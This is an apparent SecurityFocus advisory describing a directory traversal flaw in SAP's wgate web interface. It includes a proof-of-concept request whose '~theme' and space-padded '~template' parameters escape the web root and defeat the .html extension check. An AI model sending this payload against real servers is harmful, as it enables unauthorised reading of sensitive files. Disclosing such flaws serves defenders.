source: http://www.securityfocus.com/bid/8516/info

SAP is said to be prone to a directory traversal vulnerability, potentially allowing users to disclose the contents of sensitive files. The problem occurs due to the application failing to parse user-supplied input for directory traversal sequences (../) and due to correct bounds checking verification, making it possible to bypass the appending of the .html exentsion to requested files. As a result, it may be possible to access sensitive files residing outside of the requested location.

http://www.server.name/scripts/wgate/pbw2/!?

with params:
~language=en&
~runtimemode=DM&
~templatelanguage=&
~language=en&
~theme=..\..&
~template=services\global.srvc+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

(where "+" stands for spaces "%20" uri encoded). 